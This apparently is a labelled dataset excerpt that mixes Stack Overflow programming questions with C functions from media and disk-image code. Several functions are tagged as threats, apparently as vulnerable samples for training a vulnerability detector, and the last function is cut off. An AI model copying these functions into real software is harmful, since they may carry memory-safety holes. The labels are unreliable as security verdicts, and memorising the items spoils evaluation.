problem
stringlengths 26
131k
| labels
class label 2
classes |
|---|---|
static void pool_release_buffer(void *opaque, uint8_t *data)
{
BufferPoolEntry *buf = opaque;
AVBufferPool *pool = buf->pool;
if(CONFIG_MEMORY_POISONING)
memset(buf->data, 0x2a, pool->size);
add_to_pool(buf);
if (!avpriv_atomic_int_add_and_fetch(&pool->refcount, -1))
buffer_pool_free(pool);
}
| 1threat
|
C#'s can't make `notnull` type nullable : <p>I'm trying to create a type similar to Rust's <code>Result</code> or Haskell's <code>Either</code> and I've got this far:</p>
<pre><code>public struct Result<TResult, TError>
where TResult : notnull
where TError : notnull
{
private readonly OneOf<TResult, TError> Value;
public Result(TResult result) => Value = result;
public Result(TError error) => Value = error;
public static implicit operator Result<TResult, TError>(TResult result)
=> new Result<TResult, TError>(result);
public static implicit operator Result<TResult, TError>(TError error)
=> new Result<TResult, TError>(error);
public void Deconstruct(out TResult? result, out TError? error)
{
result = (Value.IsT0) ? Value.AsT0 : (TResult?)null;
error = (Value.IsT1) ? Value.AsT1 : (TError?)null;
}
}
</code></pre>
<p>Given that both types parameters are restricted to be <code>notnull</code>, why is it complaining (anywhere where there's a type parameter with the nullable <code>?</code> sign after it) that:</p>
<blockquote>
<p>A nullable type parameter must be known to be a value type or non-nullable reference type. Consider adding a 'class', 'struct', or type constraint.</p>
</blockquote>
<p>?</p>
<hr>
<p>I'm using C# 8 on .NET Core 3 with nullable reference types enabled.</p>
| 0debug
|
cant get some buttons to work : hello bellow is some code I need to fix I fixed some of the errors but I cant get the 3 buttons to work they are the random facts button the colors orange pink and green button and the grow and shrink button I posted the code bellow the html seems right to me and the css too I am betting on the javascript to be wrong for the buttons but I just dont see what part of it could be incorrect this is due to my inexperience but I am pretty sure I fixed all the HTML errors
<!DOCTYPE html>
<html>
<head>
<title>Boo The Dog</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<!-- Linking CSS -->
<link rel="stylesheet" type="text/css" href="style.css">
<!-- Linking jQuery -->
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
<!-- Linking Google Fonts -->
<link href='https://fonts.googleapis.com/css?family=Montserrat|Roboto+Slab|Yellowtail' rel='stylesheet' type='text/css'>
</head>
<body>
<div class="container">
<div class="jumbotron bg-primary text-center">
<h1>Boo The Dog Fan Page!</h1>
</div>
<div class="row">
<div class="col-sm-12">
<div class="panel panel-primary">
<div class="panel-heading">Instructions</div>
<div class="panel-body text-center">
<!--<h4>Oh no! Someone has vandalized our Boo 'The Cutest Dog In The World' fanpage!</h4>
<h4>There are a bunch of errors on this page!</h4>
<h4>Try your best to find them all!</h4> -->
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-sm-6">
<div class="panel panel-primary">
<div class="panel-heading">About Boo</div>
<div class="panel-body">
Boo the dog belongs to a San Francisco-based Facebook employee who created a Facebook page for the dog with a statement "My name is Boo. I am a dog. Life is good." He became popular in October 2010 after singer Ke$ha sent a tweet that she had a new boyfriend, linking to the page.
Chronicle Books, noticing that Boo had 5 million Facebook fans at the time, approached the owner to write a picture book. In August 2011, Boo: The Life of the World's Cutest Dog, written by his owner under pen name J.H. Lee, was published. The book was eventually published in ten languages. A second book followed, Boo: Little Dog in the Big City, as well as a calendar and plans for a cut-out book and additional children's books. He also has his own stuffed animal for kids. His merchandise includes a Gund stuffed animal.
Boo was appointed a spokesdog for Virgin America airline, which featured photos of him in an airplane along with advice for people traveling with pets. In April 2012, Boo was the subject of a death hoax after #RIPBOO appeared on Facebook. Tweets followed as Gizmodo writer Sam Biddle tweeted Boo had died. It was later confirmed by The Chronicle Book staff that Boo was alive and well. In July 2012, Boo was named the Official Pet Liaison of Virgin America.
Read more at: <a href="">https://en.wikipedia.org/wiki/Boo_(dog)</a>
</div>
</div>
</div>
<div class="col-sm-6">
<div class="well text-center">
<div>
<img class="img-responsive" src="https://img.buzzfeed.com/buzzfeed-static/static/2015-04/21/16/enhanced/webdr05/enhanced-31550-1429646952-7.jpg">
</div>
</div>
</div>
</div>
<br><br>
<div class="row">
<div class="col-sm-6 text-center">
<button class="btn btn-primary form-control" id="factButton">Random Boo Fact</button>
<div class="well text-center">
<div>
<p id="factText">Click the button for a random Boo fact!</p>
</div>
</div>
</div>
<div class="col-sm-6">
<div class="panel panel-primary">
<div class="panel-heading">List Of Boo's Favorite Things</div>
<div class="panel-body">
<ol>
Dressing Up
Eating Grass
Sleeping
Swimming
Hiking
</ol>
</div>
</div>
</div>
</div>
<br><br>
<div class="row text-center">
<div class="col-sm-6 text-center">
<button class="btn" id="textOrange">Orange</button>
<button class="btn" id="textPink">Pink</button>
<button class="btn" id="textGreen">Green</button>
<div class="well text-center">
<p id="funText">Boo Rules!</p>
</div>
</div>
<div class="col-sm-6">
<div class="col-sm-6">
<button class="btn" id="boxGrow">Grow</button>
<button class="btn" id="boxShrink">Shrink</button>
<div class="well text-center">
<img id="box" src="http://petradioshow.com/wp-content/uploads/2015/05/jiff1.jpg" style="display: inline-block; height: 205px; width: 205px;">
</div>
</div>
</div>
</div>
<script type="text/javascript" src="errors.js"></script>
</body>
</html>
$("#factButton").on("click", function() {
var number = Math.floor((Math.random() * booFacts.length));
$("#factText").text(booFacts[number])
})
var booFacts = ["Boo is a pomeranian, Boo's best friend is another pomeranian named Buddy, Boo the Pomeranian was born on March 16, making him a Pisces, Boo's favourite food is grass, Boo has released two books" ]
$("#textPink").on("click", function() {
$("#funText").css("color", pink)
})
$("#textOrange").on("click", function() {
$("#funText").css("color", "orange")
})
$("#textGreen").on("click", function() {
$("#funText").css("color", "green")
})
$("#boxGrow").on(click, function() {
$("#box").animate({height:"+=35px",
width:"+=35px"}, "fast");
})
$("#boxShrink").on(click, function() {
$("#box").animate({height:"-=35px", width:"-=35px"}, "fast");
})
.jumbotron {
background-color: #428bca
}
.jumbotron h1 {
color:white;
}
p, h1, h4 {
font-family: 'Roboto Slab', serif;
}
#funText {
color: black;
font-size: 24px;
font-family: 'Roboto Slab', serif;
}
#box {
height: 100px;
width: 100px;
margin:auto;
}
| 0debug
|
How can we serialize or deserialize the object of a class in c++.Is there any predefined library? : <p>Is there any predefined library to serialize the object in c++.
If there is not how can we do that.</p>
| 0debug
|
printing sum of integer and a char* : <p>Consider the c snippet:</p>
<pre><code>#include<stdlib.h>
int main()
{
printf(2+"Roomy");
return 0;
}
</code></pre>
<p>Output given is skipping 1st 2 characters of the string.i.e.,omy </p>
<p>So can anyone explain what is going on with the addition?</p>
| 0debug
|
Overriding `tsconfig.json` for ts-node in mocha : <p>Is it possible to override which <code>tsconfig.json</code> ts-node uses when called from mocha?</p>
<p>My main <code>tsconfig.json</code> contains <code>"module": "es2015"</code>, but I want to use <code>"module": "commonjs"</code> for ts-node only.</p>
<p>I tried this</p>
<pre><code>mocha --compilers ts:ts-node/register,tsx:ts-node/register \
--compilerOptions '{"module":"commonjs"}' \
--require ts-node/register test/**/*.spec.ts*
</code></pre>
<p>but it did not work:</p>
<pre><code>SyntaxError: Unexpected token import
at exports.runInThisContext (vm.js:53:16)
at Module._compile (module.js:387:25)
at Module.m._compile (/usr/lib/node_modules/ts-node/src/index.ts:406:23)
at Module._extensions..js (module.js:422:10)
at Object.require.extensions.(anonymous function) [as .tsx] (/usr/lib/node_modules/ts-node/src/index.ts:409:12)
at Module.load (module.js:357:32)
at Function.Module._load (module.js:314:12)
at Module.require (module.js:367:17)
at require (internal/module.js:16:19)
at /usr/lib/node_modules/mocha/lib/mocha.js:222:27
at Array.forEach (native)
at Mocha.loadFiles (/usr/lib/node_modules/mocha/lib/mocha.js:219:14)
at Mocha.run (/usr/lib/node_modules/mocha/lib/mocha.js:487:10)
at Object.<anonymous> (/usr/lib/node_modules/mocha/bin/_mocha:458:18)
at Module._compile (module.js:413:34)
at Object.Module._extensions..js (module.js:422:10)
at Module.load (module.js:357:32)
at Function.Module._load (module.js:314:12)
at Function.Module.runMain (module.js:447:10)
at startup (node.js:146:18)
at node.js:404:3
</code></pre>
| 0debug
|
Bootstrap vs Material UI for React? : <p>I have been using both in my projects and sometimes I find the need to use a Material UI component within a bootstrap component and the UI displays as I would expect. I have been advised though not to use this approach. Is there any reason why since both are using the grid and can be flexed?</p>
| 0debug
|
for ... in range loop not create correctly : <p>So, I started up with python again a week ago. I'm trying to create a small function that returns triangle numbers up to n. However, I've created a strange glitch in my for loop:</p>
<pre><code>def makeTriangle(s):
print("S is %d" % s)
triangle = 0
for a in range(1,s):
print("a is: %d " % a)
triangle = triangle + a
print("Triangle: %d " % triangle)
return triangle
n = 3 while n < 10:
x = makeTriangle(n)
n+=1
</code></pre>
<p>When I run this a never changes from the value 1 - even though I thought I was creating a list that would iterate up to 'n'. Where am I going wrong?</p>
| 0debug
|
matroska_read_header (AVFormatContext *s,
AVFormatParameters *ap)
{
MatroskaDemuxContext *matroska = s->priv_data;
char *doctype;
int version, last_level, res = 0;
uint32_t id;
matroska->ctx = s;
doctype = NULL;
if ((res = ebml_read_header(matroska, &doctype, &version)) < 0)
return res;
if ((doctype == NULL) || strcmp(doctype, "matroska")) {
av_log(matroska->ctx, AV_LOG_ERROR,
"Wrong EBML doctype ('%s' != 'matroska').\n",
doctype ? doctype : "(none)");
if (doctype)
av_free(doctype);
return AVERROR_NOFMT;
}
av_free(doctype);
if (version > 2) {
av_log(matroska->ctx, AV_LOG_ERROR,
"Matroska demuxer version 2 too old for file version %d\n",
version);
return AVERROR_NOFMT;
}
while (1) {
if (!(id = ebml_peek_id(matroska, &last_level)))
return AVERROR(EIO);
if (id == MATROSKA_ID_SEGMENT)
break;
av_log(matroska->ctx, AV_LOG_INFO,
"Expected a Segment ID (0x%x), but received 0x%x!\n",
MATROSKA_ID_SEGMENT, id);
if ((res = ebml_read_skip(matroska)) < 0)
return res;
}
if ((res = ebml_read_master(matroska, &id)) < 0)
return res;
matroska->segment_start = url_ftell(s->pb);
matroska->time_scale = 1000000;
while (res == 0) {
if (!(id = ebml_peek_id(matroska, &matroska->level_up))) {
res = AVERROR(EIO);
break;
} else if (matroska->level_up) {
matroska->level_up--;
break;
}
switch (id) {
case MATROSKA_ID_INFO: {
if ((res = ebml_read_master(matroska, &id)) < 0)
break;
res = matroska_parse_info(matroska);
break;
}
case MATROSKA_ID_TRACKS: {
if ((res = ebml_read_master(matroska, &id)) < 0)
break;
res = matroska_parse_tracks(matroska);
break;
}
case MATROSKA_ID_CUES: {
if (!matroska->index_parsed) {
if ((res = ebml_read_master(matroska, &id)) < 0)
break;
res = matroska_parse_index(matroska);
} else
res = ebml_read_skip(matroska);
break;
}
case MATROSKA_ID_TAGS: {
if (!matroska->metadata_parsed) {
if ((res = ebml_read_master(matroska, &id)) < 0)
break;
res = matroska_parse_metadata(matroska);
} else
res = ebml_read_skip(matroska);
break;
}
case MATROSKA_ID_SEEKHEAD: {
if ((res = ebml_read_master(matroska, &id)) < 0)
break;
res = matroska_parse_seekhead(matroska);
break;
}
case MATROSKA_ID_ATTACHMENTS: {
if ((res = ebml_read_master(matroska, &id)) < 0)
break;
res = matroska_parse_attachments(s);
break;
}
case MATROSKA_ID_CLUSTER: {
res = 1;
break;
}
default:
av_log(matroska->ctx, AV_LOG_INFO,
"Unknown matroska file header ID 0x%x\n", id);
case EBML_ID_VOID:
res = ebml_read_skip(matroska);
break;
}
if (matroska->level_up) {
matroska->level_up--;
break;
}
}
if (ebml_peek_id(matroska, NULL) == MATROSKA_ID_CLUSTER) {
int i, j;
MatroskaTrack *track;
AVStream *st;
for (i = 0; i < matroska->num_tracks; i++) {
enum CodecID codec_id = CODEC_ID_NONE;
uint8_t *extradata = NULL;
int extradata_size = 0;
int extradata_offset = 0;
track = matroska->tracks[i];
track->stream_index = -1;
if (track->codec_id == NULL)
continue;
for(j=0; ff_mkv_codec_tags[j].id != CODEC_ID_NONE; j++){
if(!strncmp(ff_mkv_codec_tags[j].str, track->codec_id,
strlen(ff_mkv_codec_tags[j].str))){
codec_id= ff_mkv_codec_tags[j].id;
break;
}
}
if (!strcmp(track->codec_id,
MATROSKA_CODEC_ID_VIDEO_VFW_FOURCC) &&
(track->codec_priv_size >= 40) &&
(track->codec_priv != NULL)) {
MatroskaVideoTrack *vtrack = (MatroskaVideoTrack *) track;
vtrack->fourcc = AV_RL32(track->codec_priv + 16);
codec_id = codec_get_id(codec_bmp_tags, vtrack->fourcc);
}
else if (!strcmp(track->codec_id,
MATROSKA_CODEC_ID_AUDIO_ACM) &&
(track->codec_priv_size >= 18) &&
(track->codec_priv != NULL)) {
uint16_t tag;
tag = AV_RL16(track->codec_priv);
codec_id = codec_get_id(codec_wav_tags, tag);
}
else if (codec_id == CODEC_ID_AAC && !track->codec_priv_size) {
MatroskaAudioTrack *audiotrack = (MatroskaAudioTrack *) track;
int profile = matroska_aac_profile(track->codec_id);
int sri = matroska_aac_sri(audiotrack->internal_samplerate);
extradata = av_malloc(5);
if (extradata == NULL)
return AVERROR(ENOMEM);
extradata[0] = (profile << 3) | ((sri&0x0E) >> 1);
extradata[1] = ((sri&0x01) << 7) | (audiotrack->channels<<3);
if (strstr(track->codec_id, "SBR")) {
sri = matroska_aac_sri(audiotrack->samplerate);
extradata[2] = 0x56;
extradata[3] = 0xE5;
extradata[4] = 0x80 | (sri<<3);
extradata_size = 5;
} else {
extradata_size = 2;
}
}
else if (codec_id == CODEC_ID_TTA) {
MatroskaAudioTrack *audiotrack = (MatroskaAudioTrack *) track;
ByteIOContext b;
extradata_size = 30;
extradata = av_mallocz(extradata_size);
if (extradata == NULL)
return AVERROR(ENOMEM);
init_put_byte(&b, extradata, extradata_size, 1,
NULL, NULL, NULL, NULL);
put_buffer(&b, "TTA1", 4);
put_le16(&b, 1);
put_le16(&b, audiotrack->channels);
put_le16(&b, audiotrack->bitdepth);
put_le32(&b, audiotrack->samplerate);
put_le32(&b, matroska->ctx->duration * audiotrack->samplerate);
}
else if (codec_id == CODEC_ID_RV10 || codec_id == CODEC_ID_RV20 ||
codec_id == CODEC_ID_RV30 || codec_id == CODEC_ID_RV40) {
extradata_offset = 26;
track->codec_priv_size -= extradata_offset;
}
else if (codec_id == CODEC_ID_RA_144) {
MatroskaAudioTrack *audiotrack = (MatroskaAudioTrack *)track;
audiotrack->samplerate = 8000;
audiotrack->channels = 1;
}
else if (codec_id == CODEC_ID_RA_288 ||
codec_id == CODEC_ID_COOK ||
codec_id == CODEC_ID_ATRAC3) {
MatroskaAudioTrack *audiotrack = (MatroskaAudioTrack *)track;
ByteIOContext b;
init_put_byte(&b, track->codec_priv, track->codec_priv_size, 0,
NULL, NULL, NULL, NULL);
url_fskip(&b, 24);
audiotrack->coded_framesize = get_be32(&b);
url_fskip(&b, 12);
audiotrack->sub_packet_h = get_be16(&b);
audiotrack->frame_size = get_be16(&b);
audiotrack->sub_packet_size = get_be16(&b);
audiotrack->buf = av_malloc(audiotrack->frame_size * audiotrack->sub_packet_h);
if (codec_id == CODEC_ID_RA_288) {
audiotrack->block_align = audiotrack->coded_framesize;
track->codec_priv_size = 0;
} else {
audiotrack->block_align = audiotrack->sub_packet_size;
extradata_offset = 78;
track->codec_priv_size -= extradata_offset;
}
}
if (codec_id == CODEC_ID_NONE) {
av_log(matroska->ctx, AV_LOG_INFO,
"Unknown/unsupported CodecID %s.\n",
track->codec_id);
}
track->stream_index = matroska->num_streams;
matroska->num_streams++;
st = av_new_stream(s, track->stream_index);
if (st == NULL)
return AVERROR(ENOMEM);
av_set_pts_info(st, 64, matroska->time_scale, 1000*1000*1000);
st->codec->codec_id = codec_id;
st->start_time = 0;
if (strcmp(track->language, "und"))
strcpy(st->language, track->language);
if (track->flags & MATROSKA_TRACK_DEFAULT)
st->disposition |= AV_DISPOSITION_DEFAULT;
if (track->default_duration)
av_reduce(&st->codec->time_base.num, &st->codec->time_base.den,
track->default_duration, 1000000000, 30000);
if(extradata){
st->codec->extradata = extradata;
st->codec->extradata_size = extradata_size;
} else if(track->codec_priv && track->codec_priv_size > 0){
st->codec->extradata = av_malloc(track->codec_priv_size);
if(st->codec->extradata == NULL)
return AVERROR(ENOMEM);
st->codec->extradata_size = track->codec_priv_size;
memcpy(st->codec->extradata,track->codec_priv+extradata_offset,
track->codec_priv_size);
}
if (track->type == MATROSKA_TRACK_TYPE_VIDEO) {
MatroskaVideoTrack *videotrack = (MatroskaVideoTrack *)track;
st->codec->codec_type = CODEC_TYPE_VIDEO;
st->codec->codec_tag = videotrack->fourcc;
st->codec->width = videotrack->pixel_width;
st->codec->height = videotrack->pixel_height;
if (videotrack->display_width == 0)
videotrack->display_width= videotrack->pixel_width;
if (videotrack->display_height == 0)
videotrack->display_height= videotrack->pixel_height;
av_reduce(&st->codec->sample_aspect_ratio.num,
&st->codec->sample_aspect_ratio.den,
st->codec->height * videotrack->display_width,
st->codec-> width * videotrack->display_height,
255);
st->need_parsing = AVSTREAM_PARSE_HEADERS;
} else if (track->type == MATROSKA_TRACK_TYPE_AUDIO) {
MatroskaAudioTrack *audiotrack = (MatroskaAudioTrack *)track;
st->codec->codec_type = CODEC_TYPE_AUDIO;
st->codec->sample_rate = audiotrack->samplerate;
st->codec->channels = audiotrack->channels;
st->codec->block_align = audiotrack->block_align;
} else if (track->type == MATROSKA_TRACK_TYPE_SUBTITLE) {
st->codec->codec_type = CODEC_TYPE_SUBTITLE;
}
}
res = 0;
}
if (matroska->index_parsed) {
int i, track, stream;
for (i=0; i<matroska->num_indexes; i++) {
MatroskaDemuxIndex *idx = &matroska->index[i];
track = matroska_find_track_by_num(matroska, idx->track);
stream = matroska->tracks[track]->stream_index;
if (stream >= 0)
av_add_index_entry(matroska->ctx->streams[stream],
idx->pos, idx->time/matroska->time_scale,
0, 0, AVINDEX_KEYFRAME);
}
}
return res;
}
| 1threat
|
Remove text partially inside div using jQuery : <br>
I have the following structure:
<div class="some-class">
Some Text Here
<ul>
<li class="another-class"> Main Content </li>
</ul>
</div>
I want to know how to **remove** the text "*Some Text Here*" using **jQuery**...
So I will get:
<div class="some-class">
<ul>
<li class="another-class"> Main Content </li>
</ul>
</div>
Thanks!
| 0debug
|
static int dnxhd_init_vlc(DNXHDContext *ctx, int cid)
{
if (cid != ctx->cid) {
int index;
if ((index = ff_dnxhd_get_cid_table(cid)) < 0) {
av_log(ctx->avctx, AV_LOG_ERROR, "unsupported cid %d\n", cid);
return -1;
}
if (ff_dnxhd_cid_table[index].bit_depth != ctx->bit_depth) {
av_log(ctx->avctx, AV_LOG_ERROR, "bit depth mismatches %d %d\n", ff_dnxhd_cid_table[index].bit_depth, ctx->bit_depth);
return AVERROR_INVALIDDATA;
}
ctx->cid_table = &ff_dnxhd_cid_table[index];
ff_free_vlc(&ctx->ac_vlc);
ff_free_vlc(&ctx->dc_vlc);
ff_free_vlc(&ctx->run_vlc);
init_vlc(&ctx->ac_vlc, DNXHD_VLC_BITS, 257,
ctx->cid_table->ac_bits, 1, 1,
ctx->cid_table->ac_codes, 2, 2, 0);
init_vlc(&ctx->dc_vlc, DNXHD_DC_VLC_BITS, ctx->bit_depth + 4,
ctx->cid_table->dc_bits, 1, 1,
ctx->cid_table->dc_codes, 1, 1, 0);
init_vlc(&ctx->run_vlc, DNXHD_VLC_BITS, 62,
ctx->cid_table->run_bits, 1, 1,
ctx->cid_table->run_codes, 2, 2, 0);
ff_init_scantable(ctx->dsp.idct_permutation, &ctx->scantable, ff_zigzag_direct);
ctx->cid = cid;
}
return 0;
}
| 1threat
|
Float Exponent from user input : so my question relates to float, I have used double for user input and end result and also for passing between function, the result is 1 when specifier is %lf%.
#include <stdio.h>
double pwra (double, double);
int main()
{
double number, power, xx;
printf("Enter Number: ");
scanf("%lf", &number);
printf("Enter Number: ");
scanf("%lf", &power);
xx=pwra (number,power);
printf("Result: %lf", xx);
return 0;
}
double pwra (double num, double pwr)
{
int count;
int result = 1;
for(count=1;count<=pwr;count++)
{
result = result*num;
}
return result;
}
| 0debug
|
Data Conversion from atoi and atof : <p>I am making a record in which I used atoi and atof conversions to convert string into int and float. But the compiler is giving me this error: "[Error] cannot convert 'int*' to 'char*' for argument '1' to 'char* gets(char*)".
The code is:</p>
<pre><code>int main()
{
int ch_id[25];
float ch_gp[25];
struct Data
{
char name[25];
char Fname[25];
int idno;
float Gpa;
};
Data emp;
cout<<"Enter name:";
gets(emp.name);
cout<<"Enter fathers's name:";
gets(emp.Fname);
cout<<"Enter Id number:";
gets(ch_id);
emp.idno=atoi(ch_id);
cout<<"Enter GPA:";
gets(ch_gp);
emp.Gpa=atof(ch_gp);
}
</code></pre>
<p>I tried resolving it but I couldn't figure out the mistake.Help!</p>
| 0debug
|
static void gen_swap_half(TCGv var)
{
TCGv tmp = new_tmp();
tcg_gen_shri_i32(tmp, var, 16);
tcg_gen_shli_i32(var, var, 16);
tcg_gen_or_i32(var, var, tmp);
dead_tmp(tmp);
}
| 1threat
|
Stock price prediction with neuralnet package in R : I have build an neural network with the neuralnet package in R to predict stock prices. My model and code works well, but I am getting an accuracy around 97-99%, which makes me a bit skeptical if an overfitting of the model exists.
This is my Dataset I am using (which is already scaled)
[Dataset Scaled][1]
And this is my original Dataset (not scaled), which I need to calc the accuaracy.
[Dataset not scalled][2]
And this is my code to build and test the model:
normalize <- function(x) {
return ((x - min(x)) / (max(x) - min(x)))
}
nn_df <- as.data.frame(lapply(nn_df, normalize))
nn_df_train = as.data.frame(nn_df[1:1965,]) #1965
nn_df_test = as.data.frame(nn_df[1966:2808,]) #843
# NN for Sentiment GI
nn_model <- neuralnet(GSPC.Close ~ GSPC.Open +GSPC.Low + GSPC.High + SentimentGI, data = nn_df_train, hidden=5, linear.output=TRUE, threshold=0.01)
plot(nn_model)
nn_model$result.matrix
nn_pred <- compute(nn_model, nn_df_test)
nn_pred$net.result
results <- data.frame(actual = nn_df_test$GSPC.Close, prediction = nn_pred$net.result)
results
#calc accuracy
predicted = results$prediction * abs(diff(range(nn_org$GSPC.Close))) + min(nn_org$GSPC.Close)
actual = results$actual * abs(diff(range(nn_org$GSPC.Close))) + min(nn_org$GSPC.Close)
comparison = data.frame(predicted,actual)
#deviation=((actual-predicted)/actual)
deviation= abs((actual-predicted)/actual)
comparison=data.frame(predicted,actual,deviation)
accuracy=1-abs(mean(deviation))
accuracy
[1]: https://gofile.io/?c=KUzbLW
[2]: https://gofile.io/?c=zenlWe
| 0debug
|
Alternative for full outer join SQL : I want to display records from two tables.
It should return all the matching records from both the tables.
If a record is present in first table and not present in second table it should return null from the Second table and records from the First table
If a record is present in Second table and not present in First table it should return null from the First table and records from the second table
I don't want to use Full outer join for the same.
Is there any better solution for this scenario.
| 0debug
|
Python 3 - convert mathematical action to integer : <p>I have a string with a formula <i>5 - 3</i>, and I need to get the result in integer. How could I do that?</p>
| 0debug
|
How to update g++ compiler on OSX : <p>I tried using <a href="https://arvindrao.wordpress.com/2012/12/31/installing-latest-gccg-via-homebrew/" rel="noreferrer">this</a> tutorial to download the newest version of g++, and I changed the version number from 4.7 to the newest (which is believe is) 8.1. But I get the following errors</p>
<pre><code>Error: No available formula with the name "gcc81"
==> Searching for a previously deleted formula (in the last month)...
Warning: homebrew/core is shallow clone. To get complete history run:
git -C "$(brew --repo homebrew/core)" fetch --unshallow
Error: No previously deleted formula found.
==> Searching for similarly named formulae...
==> Searching local taps...
Error: No similarly named formulae found.
==> Searching taps...
==> Searching taps on GitHub...
Error: No formulae found in taps.
</code></pre>
<p>Does anyone know how to update my g++ version? This is what I get when I try to find out my current version.</p>
<pre><code>g++ --version
Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/usr/include/c++/4.2.1
Apple LLVM version 9.1.0 (clang-902.0.39.1)
Target: x86_64-apple-darwin17.5.0
Thread model: posix
InstalledDir: /Library/Developer/CommandLineTools/usr/bin
</code></pre>
<p>Sorry Im such a noob, I really trying to learn here. </p>
| 0debug
|
React Native - How to make image width 100 percent and vertical top? : <p>I am newbie at react-native.
What I want to do is that fit an image in device and keep the ratio of image. Simply I want to make <code>width : 100%</code></p>
<p>I searched how to make it and seems <code>resizeMode = 'contain'</code> is good for that.</p>
<p>However, since I used <code>resizeMode = 'contain'</code>, the image keeps the position vertically centered which I don't want.
I want it to be vertically top.</p>
<p>I tried to use a plug-in such as <a href="https://www.npmjs.com/package/react-native-fit-image" rel="noreferrer">react-native-fit-image</a> but no luck.</p>
<p>And I found <a href="https://facebook.github.io/react-native/docs/images.html#why-not-automatically-size-everything" rel="noreferrer">the reason why the image is not sizing automatically</a>.
But still I have no idea how to make it.</p>
<p>So, my question is what is the best way to deal with this situation?</p>
<p>Do I have to manually put <code>width, height</code> size each images?</p>
<p>I want :</p>
<ul>
<li>Keep image's ratio.</li>
<li>Vertically top positioned.</li>
</ul>
<p>React native test code :</p>
<p><a href="https://snack.expo.io/ry3_W53rW" rel="noreferrer">https://snack.expo.io/ry3_W53rW</a></p>
<p>Eventually what I want to make :</p>
<p><a href="https://jsfiddle.net/hadeath03/mb43awLr/" rel="noreferrer">https://jsfiddle.net/hadeath03/mb43awLr/</a></p>
<p>Thanks.</p>
| 0debug
|
static void decodeplane32(uint32_t *dst, const uint8_t *const buf, int buf_size, int bps, int plane)
{
GetBitContext gb;
int i, b;
init_get_bits(&gb, buf, buf_size * 8);
for(i = 0; i < (buf_size * 8 + bps - 1) / bps; i++) {
for (b = 0; b < bps; b++) {
dst[ i*bps + b ] |= get_bits1(&gb) << plane;
}
}
}
| 1threat
|
How can I add spaces in php I means btween st_ id and em_ name I want to add more speces :
echo "student id, emirate name <br>";
foreach ($resultset as $row)
echo $row['st_id'], "" , $row['em_name'], " ", $row['st_bday'], "", $row['st_emirate'] , "", $row['em_id'], "", $row['em_name'],'<br />';
| 0debug
|
static int get_cluster_offset(BlockDriverState *bs,
uint64_t offset, int allocate,
int compressed_size,
int n_start, int n_end, uint64_t *result)
{
BDRVQcowState *s = bs->opaque;
int min_index, i, j, l1_index, l2_index, ret;
uint64_t l2_offset, *l2_table, cluster_offset, tmp;
uint32_t min_count;
int new_l2_table;
*result = 0;
l1_index = offset >> (s->l2_bits + s->cluster_bits);
l2_offset = s->l1_table[l1_index];
new_l2_table = 0;
if (!l2_offset) {
if (!allocate)
return 0;
l2_offset = bdrv_getlength(bs->file->bs);
l2_offset = (l2_offset + s->cluster_size - 1) & ~(s->cluster_size - 1);
s->l1_table[l1_index] = l2_offset;
tmp = cpu_to_be64(l2_offset);
ret = bdrv_pwrite_sync(bs->file,
s->l1_table_offset + l1_index * sizeof(tmp),
&tmp, sizeof(tmp));
if (ret < 0) {
return ret;
}
new_l2_table = 1;
}
for(i = 0; i < L2_CACHE_SIZE; i++) {
if (l2_offset == s->l2_cache_offsets[i]) {
if (++s->l2_cache_counts[i] == 0xffffffff) {
for(j = 0; j < L2_CACHE_SIZE; j++) {
s->l2_cache_counts[j] >>= 1;
}
}
l2_table = s->l2_cache + (i << s->l2_bits);
goto found;
}
}
min_index = 0;
min_count = 0xffffffff;
for(i = 0; i < L2_CACHE_SIZE; i++) {
if (s->l2_cache_counts[i] < min_count) {
min_count = s->l2_cache_counts[i];
min_index = i;
}
}
l2_table = s->l2_cache + (min_index << s->l2_bits);
if (new_l2_table) {
memset(l2_table, 0, s->l2_size * sizeof(uint64_t));
ret = bdrv_pwrite_sync(bs->file, l2_offset, l2_table,
s->l2_size * sizeof(uint64_t));
if (ret < 0) {
return ret;
}
} else {
ret = bdrv_pread(bs->file, l2_offset, l2_table,
s->l2_size * sizeof(uint64_t));
if (ret < 0) {
return ret;
}
}
s->l2_cache_offsets[min_index] = l2_offset;
s->l2_cache_counts[min_index] = 1;
found:
l2_index = (offset >> s->cluster_bits) & (s->l2_size - 1);
cluster_offset = be64_to_cpu(l2_table[l2_index]);
if (!cluster_offset ||
((cluster_offset & QCOW_OFLAG_COMPRESSED) && allocate == 1)) {
if (!allocate)
return 0;
if ((cluster_offset & QCOW_OFLAG_COMPRESSED) &&
(n_end - n_start) < s->cluster_sectors) {
if (decompress_cluster(bs, cluster_offset) < 0) {
return -EIO;
}
cluster_offset = bdrv_getlength(bs->file->bs);
cluster_offset = (cluster_offset + s->cluster_size - 1) &
~(s->cluster_size - 1);
ret = bdrv_pwrite(bs->file, cluster_offset, s->cluster_cache,
s->cluster_size);
if (ret < 0) {
return ret;
}
} else {
cluster_offset = bdrv_getlength(bs->file->bs);
if (allocate == 1) {
cluster_offset = (cluster_offset + s->cluster_size - 1) &
~(s->cluster_size - 1);
bdrv_truncate(bs->file, cluster_offset + s->cluster_size,
PREALLOC_MODE_OFF, NULL);
if (bs->encrypted &&
(n_end - n_start) < s->cluster_sectors) {
uint64_t start_sect;
assert(s->crypto);
start_sect = (offset & ~(s->cluster_size - 1)) >> 9;
for(i = 0; i < s->cluster_sectors; i++) {
if (i < n_start || i >= n_end) {
memset(s->cluster_data, 0x00, 512);
if (qcrypto_block_encrypt(s->crypto, start_sect + i,
s->cluster_data,
BDRV_SECTOR_SIZE,
NULL) < 0) {
return -EIO;
}
ret = bdrv_pwrite(bs->file,
cluster_offset + i * 512,
s->cluster_data, 512);
if (ret < 0) {
return ret;
}
}
}
}
} else if (allocate == 2) {
cluster_offset |= QCOW_OFLAG_COMPRESSED |
(uint64_t)compressed_size << (63 - s->cluster_bits);
}
}
tmp = cpu_to_be64(cluster_offset);
l2_table[l2_index] = tmp;
ret = bdrv_pwrite_sync(bs->file, l2_offset + l2_index * sizeof(tmp),
&tmp, sizeof(tmp));
if (ret < 0) {
return ret;
}
}
*result = cluster_offset;
